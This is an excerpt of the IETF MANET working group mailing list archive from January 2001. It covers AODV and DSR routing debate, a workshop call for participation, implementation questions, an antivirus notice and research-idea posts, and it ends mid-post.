13:58:09 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19463 for ; Tue, 16 Jan 2001 13:58:08 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA26305 for manet-outgoing; Tue, 16 Jan 2001 12:23:22 -0500 (EST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA26300 for ; Tue, 16 Jan 2001 12:23:20 -0500 (EST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA12376 for ; Tue, 16 Jan 2001 09:23:20 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id f0GHNIx00994 for ; Tue, 16 Jan 2001 09:23:18 -0800 X-Virus-Scanned: Tue, 16 Jan 2001 09:23:18 -0800 Nokia Silicon Valley Email Exploit Scanner Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(WTS.12.69) smtpd9SEuFN; Tue, 16 Jan 2001 09:06:54 PST Message-ID: <3A647FAF.C96FC2F4@iprg.nokia.com> Date: Tue, 16 Jan 2001 09:06:55 -0800 From: "Charles E. Perkins" Organization: Nokia Research Center X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Mobile Ad Hoc IETF working group Subject: Re: DSR/AODV/& BS Stuff References: <20010113040539.47733.qmail@web11403.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hello folks, Two small corrections/comments: First, AODV is supposed to work over uni-directional links. A difficulty arises when a RREP cannot traverse a unidirectional link from which a RREQ was received, but there is a mechanism defined in later drafts to handle that case. There was some discussion about this point at the last IETF meeting. Second, > I recall AODV - where the heck is the distance > vector being used here?? The route table store distance (number of hops) and vector (next hop) information. So that's good enough to fit my definition anyway. Is there something more that is needed to be a distance-vector protocol? > That was just a twist from the DSDV protocol > which is a table-driven protocol but the authors > twisted it to change it to on-demand based. If one would substitute "revised" instead of "twisted" I'd be happy to agree. Oh, heck, I'll agree anyway :-) Regards, Charlie P. From owner-manet@itd.nrl.navy.mil Tue Jan 16 14:51:26 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20407 for ; Tue, 16 Jan 2001 14:51:25 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id NAA28165 for manet-outgoing; Tue, 16 Jan 2001 13:05:44 -0500 (EST) Received: from scires.com (mail.scires.com [12.36.154.4]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id NAA28159; Tue, 16 Jan 2001 13:05:40 -0500 (EST) Received: from SRCATL-Message_Server by scires.com with Novell_GroupWise; Tue, 16 Jan 2001 13:07:47 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.4.1 Date: Tue, 16 Jan 2001 13:07:15 -0500 From: "Pete Sholander" To: , Subject: Re: DSR/AODV/& BS Stuff Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id NAA28160 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit Is there also a written IETF (or IAB) policy that allows/forbids anonymous postings to the working group mailing lists? It would certainly seem (IMHO) more professional for posters to identify their real name (and probably their organization/company). --Pete Sholander Scientific Research Corporation Atlanta, GA >>> Joe Macker 01/16/01 01:14PM >>> Inappropriate postings include: Unsolicited bulk e-mail Discussion of subjects unrelated to IETF policy, meetings, activities, or technical concerns Unprofessional commentary, regardless of the general subject. This is clearly unprofessional commentary beyond the bounds of technical concerns. -Joe At 08:05 PM 1/12/01 -0800, Tom Hello wrote: >Nitin: I don't think you should implement LAR (which >is not a protocol as you claim) with DSR! You clearly >exhibit some form of political bias. > >Is that related to your MobiHOC conference in some >way or is that related to your paper acceptance? I >realize you publish things related to DSR and AODV - >clearly you are trying to gather "favor" from those >folks/people. > >Does that explain how you get your papers published in > >MOBICOM (and you constantly published there) and >your NSF grants too?? Man.. this is bad... > >===================================================== >--- Tom Hello wrote: > > Oh you (nitin)... About LAR/LAM - there are many > > flaws > > in location based routing. Your original proposal > > does not take into account connection/signal > > propagation properties, just location which is > > wrong. > > None of LAR/LAM have been implemented and tested > > in real systems. You should do it since you started > > it. > > > > There is too much BS Stuff in this circle. > > I recall AODV - where the heck is the distance > > vector > > being used here?? That was just a twist from the > > DSDV > > protocol which is a table-driven protocol but > > the authors twisted it to change it to on-demand > > based. There is just not enough good/properly > > designed protocols and too much BS stuff and > > politics > > too. > > > > These people need to wake up... > > > > > > --- Nitin H Vaidya wrote: > > > > > > >> From: Tom Hello > > > > > > > > >> From owner-manet@itd.nrl.navy.mil Fri Dec 22 > > > 12:43:48 2000 > > > >> > > > >> Li Li wrote: > > > >> > > > > >> >In the DSR draft, it says "Although many > > > routing > > > >> >protocols operate correctly > > > >> >only over bi-directional links, DSR can > > > successfully > > > >> >discover and forward > > > >> >packets over paths that contain > > > uni-directional > > > >> >links." > > > >> > > > >> I don't believe a single word of it. It was > > not > > > >> even proven!! The DSR draft constantly copys > > > and > > > > > > I do not recall if they give a formal proof or > > not, > > > but > > > it seemed to me that DSR could work on > > > unidirectional links. > > > Do you have a counter-example (or a "proof") that > > it > > > does not work? > > > > > > ... > > > >> Also, why you are enhancing DSR and not doing > > > your > > > >> own protocol? One need not have a paper that > > is > > > >> DSR compliant to get one's paper accepted!! > > > > > > Huh !? > > > Enhancing an existing protocol is not necessarily > > a > > > bad > > > thing, be it DSR, AODV, TORA, whatever. > > > > > > > > Happy holidays. > > > > > > - nitin > > > > > > . > > > hoc/ > > > > > > Happy holidays. > > > > > > - nitin > > > > > > . > > > > > > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! Photos - Share your holiday photos online! > > http://photos.yahoo.com/ > > . > > u Yahoo!? > > Yahoo! Photos - Share your holiday photos online! > > http://photos.yahoo.com/ > > . > > > > >__________________________________________________ >Do You Yahoo!? >Get email at your own domain with Yahoo! Mail. >http://personal.mail.yahoo.com/ From owner-mmnet@itd.nrl.navy.mil Wed Jan 17 11:32:34 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA21338 for ; Wed, 17 Jan 2001 11:32:33 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA21649 for mmnet-outgoing; Wed, 17 Jan 2001 09:50:19 -0500 (EST) Received: from Morgana.Elet.PoliMi.IT (morgana.elet.polimi.it [131.175.21.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id JAA21644 for ; Wed, 17 Jan 2001 09:50:16 -0500 (EST) Received: from host lapgp and sender ipese10.elet.polimi.it [131.175.70.179]; by mail relay Morgana.Elet.PoliMi.IT (Sendmail Ver. 8.x.x / 2 Nov. 1998); with protocol SMTP and identifier PAA25467; on date and time Wed, 17 Jan 2001 15:22:14 +0100 (MET). Message-ID: <003e01c08091$34543140$b346af83@lapgp> From: "Gian Pietro Picco" To: "Gian Pietro Picco" Cc: "Catalin Roman" Subject: workshop on software engineering and mobility - CFP Date: Wed, 17 Jan 2001 15:23:38 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-mmnet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit --------------------------------------------------------------------------- Call for Participation WORKSHOP ON SOFTWARE ENGINEERING AND MOBILITY co-located with the 23rd International Conference on Software Engineering (ICSE 2001) http://www.csr.uvic.ca/icse2001/ Westin Harbour Castle Hotel, Toronto, Ontario, Canada May 13-14, 2001 Workshop Web site: http://www.elet.polimi.it/~picco/icse01mobility --------------------------------------------------------------------------- IMPORTANT DATES March 15, 2001 Electronic submission of the position paper March 31, 2001 Invitation to the workshop May 13-14, 2001 Workshop June 1, 2001 Invitation to submit to ACM TOSEM --------------------------------------------------------------------------- ORGANIZERS Gruia-Catalin Roman, Washington University in Saint Louis, MO, USA, E-mail: roman@cs.wustl.edu, WWW: www.cs.wustl.edu/~roman Gian Pietro Picco, Politecnico di Milano, Italy E-mail: picco@elet.polimi.it, WWW: www.elet.polimi.it/~picco INVITATION The goal of this workshop is to examine an important new wave of technological changes in the computing environment, i.e., the integration of computing, communication, and mobility. In traditional computer networks, applications that are permanently located on the same fixed hosts exchange messages via the standard infrastructure made of fixed routers and switches. This conventional scenario is being stretched in two different directions by the introduction of mobility. On one hand, the physical mobility of hosts is nowadays enabled by the increasing use of base stations (fixed routers with wireless communication capabilities) placed at the periphery of the fixed network, to control message traffic to and from mobile hosts forming a dynamic fringe. Ultimately, mobile hosts can detach themselves completely from the fixed infrastructure and may evolve independently of it in a completely untethered fashion. Such clouds, called mobile ad hoc networks, are opportunistically formed structures that change rapidly in response to the movement of the carriers to which the mobile hosts are attached. Across this highly dynamic physical structure a logical layer still more fluid is emerging. Code mobility removes the static binding between the software components of a distributed application and the network hosts where they are executing. Relocation of such components is then enabled, to achieve a higher degree of flexibility and customizability, or improved bandwidth utilization. More radical views encompass migration of execution units, mobile agents autonomously performing tasks without requiring permanent connectivity with the client. Although the interest in code mobility is being popularized and amplified by the success of the Java language, the relevance of mobile code is not only technological. This form of logical mobility has the potential to completely change the way distributed applications are conceived and deployed, by lifting the location where a component is executed to the status of first-class design concept. Sorting out the software engineering implications of this intriguing and perplexing wave of technological changes is a nontrivial task. This Workshop is dedicated to the notion that software engineering must play a constructive role during these early and exciting phases in the development of the infrastructure and applications supporting mobile computing. Researchers are invited to discuss fundamental models, emerging themes, research opportunities, technological trends, and market forces in the field of mobile computing and communication. The immediate objective is to provide a forum for intellectual debate. The ultimate goal is to define an influential research agenda for the area as a whole and to generate advocacy for it by stimulating new research initiatives. AREAS OF INTEREST Contributions are sought regarding any research issue specific to (any form of) mobility, and related to software engineering. Position papers describing approaches that aim at defining a common ground for physical and logical mobility are particularly welcome. Topics include, but are not limited to: Technology: * middleware, runtime systems, computing environments * software architectures, design patterns * programming language constructs * algorithms Models: * semantics * specification * verification Applications: * case studies * experience reports * performance comparisons PUBLICATION PLANS All position papers accepted for presentation in the workshop will be included in the proceedings, distributed to all the workshop attendees and available for sale to ICSE participants. An electronic version of the workshop proceedings will be made available on the Web. Plans call for extended versions of a select set of position papers to be invited for publication in the ACM Transactions of Software Engineering and Methodology (TOSEM). The selection will be based on the quality of the technical presentation, the editorial needs, and the originality of the material included in the position paper. Paper review and final acceptance will follow standard TOSEM procedures. SUBMISSION GUIDELINES Authors are invited to submit by e-mail a single electronic version of their position paper to the address mobility@elet.polimi.it. Both PostScript and PDF formats are acceptable. Submissions must be received by March 16, 2001. The position paper must be in English, formatted according to the guidelines for ICSE proceedings, and a maximum of 4 pages long (exclusive of the cover page). The cover page must contain: the title; the authors' names and affiliations; the electronic address for the contact author; and an abstract of no more than 200 words. Papers submitted for consideration may be based on previously published material or papers currently under review, provided that this fact is noted and a reference to the original material and its publication status is provided. Nevertheless, authors should keep in mind that only position papers that contain original unpublished material will be considered for the invitation to publish their results in TOSEM. TRAVEL GRANTS FOR STUDENTS Pending approval from NSF, travel grants will be made available on a competitive basis to doctoral students interested in participating to the workshop. Grants will range from $500 to $1,000. Requests for travel grants must be received by March 16, 2001, in the form of a one-page position statement following the aforementioned submission guidelines. The cover letter of the position statement should include the expected date of graduation, as well as the name of the student's advisor. ORGANIZATION All authors whose position papers are relevant for the themes of the workshop will be invited to attend. A special invitation to present a position paper and lead the related discussions will be extended to authors whose work and ideas promise to be influential, are thought provoking, or offer an interesting integration of existing research trends. The workshop will be organized around a critical evaluation of the ideas advocated in these position papers. Brief paper presentations will be followed by moderated plenary discussions. Ample time will be reserved for in-depth exploration of ideas about the future of mobility and its impact on the software engineering community. From owner-manet@itd.nrl.navy.mil Thu Jan 18 07:32:09 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA22427 for ; Thu, 18 Jan 2001 07:32:09 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17208 for manet-outgoing; Thu, 18 Jan 2001 05:29:00 -0500 (EST) Received: from looping.sycomore.fr ([195.6.125.97]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17203 for ; Thu, 18 Jan 2001 05:28:58 -0500 (EST) Received: from sycomore.fr (moby.sycomore [172.30.5.141]) by looping.sycomore.fr (8.9.3/8.9.3) with ESMTP id LAA18251 for ; Thu, 18 Jan 2001 11:28:58 +0100 Received: from sycomore.fr (burpc001032.sycomore [172.30.0.142]) by sycomore.fr (8.9.3/8.8.7) with ESMTP id MAA10363 for ; Thu, 18 Jan 2001 12:33:04 +0100 Message-ID: <3A66C52F.72834DB3@sycomore.fr> Date: Thu, 18 Jan 2001 11:27:59 +0100 From: Yves Prelot X-Mailer: Mozilla 4.75 [fr] (WinNT; U) X-Accept-Language: fr MIME-Version: 1.0 To: manet@itd.nrl.navy.mil Subject: AODV : active route timeout Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms0A0CB07B633BA428E536A6C4" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Ceci est un message signi de fagon cryptographique au format MIME. --------------ms0A0CB07B633BA428E536A6C4 Content-Type: multipart/mixed; boundary="------------572CC460D37D788F307E74BB" Il s'agit d'un message multivolet au format MIME. --------------572CC460D37D788F307E74BB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, I am in the process of implementtng AODV for Linux. I have the following problem : the draft says (8.8) that whenever a data packet is forwarded to a destination, the lifetime of the route to that destination is modified to "Current Time + ACTIVE_ROUTE_TIMEOUT". While this seems quite straightforward, I find that there are some problems to implement this, especially when I don't want to modify existing IP layers. - either the existing IP layer spies on data traffic and somewhere updates a field telling at which time it forwarded the last packet to a destination (if this is done, I'd welcome the information), - or I have to spy myself on the data traffic, presumably within the device driver for my network, and thus create a relationship between the driver and the Routing Algorithm. This is damageable in particular because the Routing Algorithm becomes dependant on the driver, and it doesn't seem "clean" to be searching for IP addresses in the driver (we would be violating the OSI layers). Does anybody have already met and maybe solved this problem ? Thanks, Yves --------------572CC460D37D788F307E74BB Content-Type: text/x-vcard; charset=us-ascii; name="yves.prelot.vcf" Content-Description: Carte pour Yves Prelot Content-Disposition: attachment; filename="yves.prelot.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Prélot;Yves tel;fax:(33) 1 46 08 61 10 tel;work:(33) 1 46 08 61 76 x-mozilla-html:TRUE org:EADS - Sycomore Aérospatiale Matra;Télécommunications et sécurité version:2.1 email;internet:yves.prelot@sycomore.fr adr;quoted-printable:;;63 Ter, avenue Edouard Vaillant=0D=0A;Boulogne Billancourt;;92517;France fn:Yves Prélot end:vcard --------------572CC460D37D788F307E74BB-- --------------ms0A0CB07B633BA428E536A6C4 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: Signature cryptographique S/MIME Content-Transfer-Encoding: base64 MIIHYQYJKoZIhvcNAQcCoIIHUjCCB04CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC BXUwggJEMIIBraADAgECAgMDfAswDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMDEwMjUxNTM3MTRaFw0wMTEwMjUxNTM3MTRa MEkxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJjAkBgkqhkiG9w0BCQEWF3l2 ZXMucHJlbG90QHN5Y29tb3JlLmZyMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJbWP0659R5U EXK+m9/Be8+8alYdstf5oCLaLGZOA34LnsS7YZ+n/18+VIHWWsP99yVpONIMedr626+pnXdx yrcCAwEAAaM0MDIwIgYDVR0RBBswGYEXeXZlcy5wcmVsb3RAc3ljb21vcmUuZnIwDAYDVR0T AQH/BAIwADANBgkqhkiG9w0BAQQFAAOBgQClaFPxUbtEAixU+/75Hq3hUyiRTBaVdJ+jGkrC Po1MuPTABdZ2d/ny2SlfMNAOypkMSTV/gddl/AuPamjWK8ExEn74x0e7K2p5Yak22iV+fWOq y0qccxm2uzDj8/WMSlYJuPcnjWUwSHhAAXT0zNl69BvDotcjXij0Auo0KUAKVjCCAykwggKS oAMCAQICAQwwDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0 ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRp bmcxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMT G1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwt ZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0wMDA4MzAwMDAwMDBaFw0wMjA4MjkyMzU5NTlaMIGS MQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRv d24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAm BgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEB BQADgY0AMIGJAoGBAN4zMqZjxwklRT7SbngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8w vDOQf/k0caCjbZjxw0+iZdsN+kvx1t1hpfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgD qHxDQlBRh4M88Dm0m1SKE4f/s5udSWYALQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCk HjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsG A1UdDwQEAwIBBjANBgkqhkiG9w0BAQQFAAOBgQBzG28mZYv/FTRLWWKK7US+ScfoDbuPuQ1q JipihB+4h2N0HG23zxpTkUvhzeY42e1Q9DpsNJKs5pKcbsEjAcIJp+9LrnLdBmf1UG8uWLi2 C8FQV7XsHNfvF7bViJu3ooga7TlbOX00/LaWGCVNavSdxcORL6mWuAU8Uvzd6WIDSDGCAbQw ggGwAgEBMIGaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD VQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUg U2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwN8 CzAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkF MQ8XDTAxMDExODEwMjgwOFowIwYJKoZIhvcNAQkEMRYEFKLE6+pzbO6bUILEjDm8exyoXcC1 MFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIH MA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABEBbeH9OeG5i L8YwzLdjiFlctpM2sDg5A6DGvAL3NYGilGq3MB3qRmnGibTp+SGOI9sOS0mSvUW4KaM7bWgp 4l9v --------------ms0A0CB07B633BA428E536A6C4-- From owner-manet@itd.nrl.navy.mil Thu Jan 18 11:34:41 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA27948 for ; Thu, 18 Jan 2001 11:34:40 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA22026 for manet-outgoing; Thu, 18 Jan 2001 09:21:18 -0500 (EST) Received: from nautique.ciit.y12.doe.gov (nautique.cind.ornl.gov [134.167.144.7]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id JAA22018 for ; Thu, 18 Jan 2001 09:21:09 -0500 (EST) Received: (qmail 2718 invoked from network); 18 Jan 2001 14:21:05 -0000 Received: from infinity.ciit.y12.doe.gov (HELO ciit.y12.doe.gov) (lpz@134.167.144.20) by nautique.ciit.y12.doe.gov with SMTP; 18 Jan 2001 14:21:05 -0000 Message-ID: <3A66FBD0.97F6BDC5@ciit.y12.doe.gov> Date: Thu, 18 Jan 2001 09:21:04 -0500 From: Lawrence MacIntyre Organization: Center for Information Infrastructure Technology X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Yves Prelot CC: manet@itd.nrl.navy.mil Subject: Re: AODV : active route timeout References: <3A66C52F.72834DB3@sycomore.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Yves: In Linux, at least, the route cache will be updated when a route is used. You can get the route cache info via a netlink socket. Yves Prelot wrote: > > Hello, > > I am in the process of implementtng AODV for Linux. > I have the following problem : > the draft says (8.8) that whenever a data packet is forwarded to a > destination, the lifetime of the route to that destination is modified > to "Current Time + ACTIVE_ROUTE_TIMEOUT". > While this seems quite straightforward, I find that there are some > problems to implement this, especially when I don't want to modify > existing IP layers. > > - either the existing IP layer spies on data traffic and somewhere > updates a field telling at which time it forwarded the last packet to a > destination (if this is done, I'd welcome the information), > - or I have to spy myself on the data traffic, presumably within the > device driver for my network, and thus create a relationship between the > driver and the Routing Algorithm. This is damageable in particular > because the Routing Algorithm becomes dependant on the driver, and it > doesn't seem "clean" to be searching for IP addresses in the driver (we > would be violating the OSI layers). > > Does anybody have already met and maybe solved this problem ? > > Thanks, > > Yves -- Lawrence ~ ------------------------------------------------------------------------ Lawrence MacIntyre Center for Information Infrastructure Technology lpz@ciit.y12.doe.gov http://www.ciit.y12.doe.gov/~lpz 865.574.8696 From owner-manet@itd.nrl.navy.mil Thu Jan 18 14:32:32 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA02294 for ; Thu, 18 Jan 2001 14:32:31 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA28238 for manet-outgoing; Thu, 18 Jan 2001 12:16:58 -0500 (EST) Received: from mail.cse.iitk.ac.in ([210.212.54.4]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA28226 for ; Thu, 18 Jan 2001 12:16:41 -0500 (EST) Received: from cseultra2.cse.iitk.ac.in (cseultra2 [172.31.16.2]) by mail.cse.iitk.ac.in (8.9.3/8.9.3) with ESMTP id WAA21151 for ; Thu, 18 Jan 2001 22:44:42 +0530 Received: from cselinux1.cse.iitk.ac.in (IDENT:aseth@cselinux1 [172.31.16.10]) by cseultra2.cse.iitk.ac.in (8.10.1/8.10.1) with ESMTP id f0IHAd717127 for ; Thu, 18 Jan 2001 22:40:39 +0530 (IST) Date: Thu, 18 Jan 2001 22:48:27 +0530 (IST) From: Aaditeshwar Seth To: manet@itd.nrl.navy.mil Subject: Suggesstions needed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Dear Sir, We are third year Computer Science students at the Indian Institute of Technology at Kanpur, India, and are presently doing a course on mobile computing. We are expected to do a project in this regard, and since we have become very interested in adhoc networks and the complexities involved in their implementation, hence we want to base our project on MANET and related issues. We would be very much obliged if you could suggest some specific directions on which further work on. Thanking you in anticipation, Yours sincerely, Aaditeshwar. From owner-manet@itd.nrl.navy.mil Thu Jan 18 14:36:16 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA02499 for ; Thu, 18 Jan 2001 14:36:16 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA29298 for manet-outgoing; Thu, 18 Jan 2001 12:47:34 -0500 (EST) Received: from external.zumanetworks.com (external.zumanetworks.com [64.161.185.13]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id MAA29293 for ; Thu, 18 Jan 2001 12:47:32 -0500 (EST) Received: from msmail.win.zumanetworks.com by external.zumanetworks.com via smtpd (for s2.itd.nrl.navy.mil [132.250.83.3]) with SMTP; 18 Jan 2001 17:47:34 UT Received: from mail pickup service by msmail.win.zumanetworks.com with Microsoft SMTPSVC; Thu, 18 Jan 2001 09:47:29 -0800 From: Antigen@itd.nrl.navy.mil To: pretty@mmlab.snu.ac.kr, tccc@ieee.org, qiao@computer.org, ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Antigen found W32/Navidad.e@M (McAfee4) virus Message-ID: X-OriginalArrivalTime: 18 Jan 2001 17:47:29.0146 (UTC) FILETIME=[B9E795A0:01C08176] Date: 18 Jan 2001 09:47:29 -0800 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M (McAfee4) virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in Illan Glasner\Deleted Items located at Unknown/Unknown/MSMAIL. From owner-manet@itd.nrl.navy.mil Thu Jan 18 17:27:10 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA06357 for ; Thu, 18 Jan 2001 17:27:10 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id PAA05941 for manet-outgoing; Thu, 18 Jan 2001 15:37:49 -0500 (EST) Received: from web11002.mail.yahoo.com (web11002.mail.yahoo.com [216.136.131.52]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id PAA05932 for ; Thu, 18 Jan 2001 15:37:47 -0500 (EST) Message-ID: <20010118203748.95821.qmail@web11002.mail.yahoo.com> Received: from [199.105.88.100] by web11002.mail.yahoo.com; Thu, 18 Jan 2001 12:37:48 PST Date: Thu, 18 Jan 2001 12:37:48 -0800 (PST) From: Robin Poss Subject: research topics To: manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Maybe these proposals will be inappropriate on this list, sorry in advance if this is the case. Maybe they have already been discussed over and over, sorry again. First idea: ----------- How about implementing power control at every mobile node in an ad-hoc network, in order to keep the number of neighbors known to this node inferior to a certain number n, chosen cleverly to achieve reasonable coverage nonetheless? Maybe this could reduce power consumption and/or overhead, and reduce it enough to be worth the corresponding coverage loss. Second idea: ------------- How about a "dual" mobile phone, able to switch between a normal cellphone mode and an ad-hoc mode, the decision to swich being based, for example, on maximizing battery life, or minimizing bandwidth usage? In ad-hoc mode, the phone would use a chain of other phones not to reach the party called, but to reach the nearest (or otherwise clerverly chosen) base station. Maybe the overhead won't be that bad in this case since all the phones of a region will try to reach the same base station. Natural human selfishness hinders the development of ad-hoc phones:"Why should my battery power enable conversations between strangers?" Switching to ad-hoc mode when doing so saves battery power (if such a thing is possible) would reverse this situation and put selfishness on our side. Of course the hand off decision making and procedure will get very complicated. Maybe there are some situations where functioning in ad-hoc mode would actually reduce the phone's emitting power [compared to normal cell-phone mode], which is a good marketing argument for the brain tumor concerned general public. And maybe the telecommunication industry would be more willing to subsidize research in this domain, since their base stations/infrastructure/services are still used, so they still can make some money out of it. There is also a possibility that in crowded areas some base stations would become useless, the mesh of ad-hoc enabled phones doing all the work cheaper than they would. It's a kind of paradox: less base stations needed in the more crowded areas. Pushing the concept further the phone could choose between 3 modes: **Fully cell-phone **ad-hoc to reach the nearest base station **completely ad-hoc (and free, unlimited connection time in this version) Such a phone with these 3 options could be targeted and sold to communities where people usually have a cell phone anyway, and ususally call parties who are not too far away: *University and Company Campuses *Families *Ski resorts ... This would be attractive for them since most of the communications would be free. Imagine talking to a friend over the phone: 83% of the last sentence you said was transmitted in full ad-hoc mode,5 % in semi ad-hoc mode, and the rest in normal cellphone mode. Verizon will only bill you for 17% of this sentence. I was told that Nextel already offers a phone which can be used as a talkie-walkie. This is a first 